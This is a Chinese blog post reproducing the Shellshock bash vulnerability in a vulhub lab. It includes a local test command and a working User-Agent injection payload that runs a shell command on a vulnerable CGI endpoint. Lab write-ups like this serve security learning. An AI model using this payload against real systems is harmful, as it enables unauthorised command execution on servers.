bash说明

Bash是Unix shell的一种。1989年发布第一个正式版本，原先是计划用在GNU操作系统上，但能运行于大多数类Unix系统的操作系统之上。

漏洞原理

目前的Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题的是以”(){”开头定义的环境变量在命令env中解析成函数后，Bash执行未退出，而是继续解析并执行shell命令，而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行任意的shell命令,甚至完全控制目标系统。

漏洞复现

环境说明

linux（装有vulhub靶场）
Windows2012（攻击机）

漏洞条件

Bash <= 4.3

漏洞复现

测试Linux是否存在shellshock漏洞
执行命令:env x='() { :;}; echo shellshocked' bash -c "echo hi",如果出现图中所示的结果就表示存在shellshock漏洞。
进入靶场，靶场的搭建可以参见我的上一篇博文：Vulhub靶场搭建
http://#{ip}:8080/victim.cgi
打开burp，抓包，构造User-Agent，然后发送。
User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);

Shellshock漏洞复现相关推荐

详解ShellShock 漏洞复现原理，内附ShellShock的修复方法
本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过.本篇是我们悬镜安全实验室成员之一Kr0iNg's 在学习ShellShock时分享的一点心得,仅供 ...
vulhub漏洞复现之bash（Shellshock CVE-2014-6271）
Shellshock 破壳漏洞 CVE-2014-6271 1.漏洞概述: GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此 ...
LINUX漏洞复现篇之ShellShock漏洞
简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bas ...
bash(CVE-2014-6271) shellshock-破壳漏洞复现
漏洞简介破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...
vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞
漏洞简介破壳漏洞(shellshock),也被称为bashdoor,是广泛使用的Unix shell中的一系列安全漏洞,其中第一个漏洞于2014年9月24日被披露.许多面向互联网的服务,如一些网络服 ...
Linux Bash漏洞复现
Bash是什么? Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系 ...
成功爬取CVE-2019-9766漏洞复现【CSDN】【1】
代码: import requests import bs4 from bs4 import BeautifulSoup import ress = '' headers = {'user-agent ...
docker逃逸漏洞复现 cve-2019-5736
0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...
php 远程代码执行漏洞复现 cve-2019-11043
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

Shellshock漏洞复现

Shellshock漏洞复现

bash说明

漏洞原理

漏洞复现

环境说明

漏洞条件

漏洞复现

Shellshock漏洞复现相关推荐

最新文章

热门文章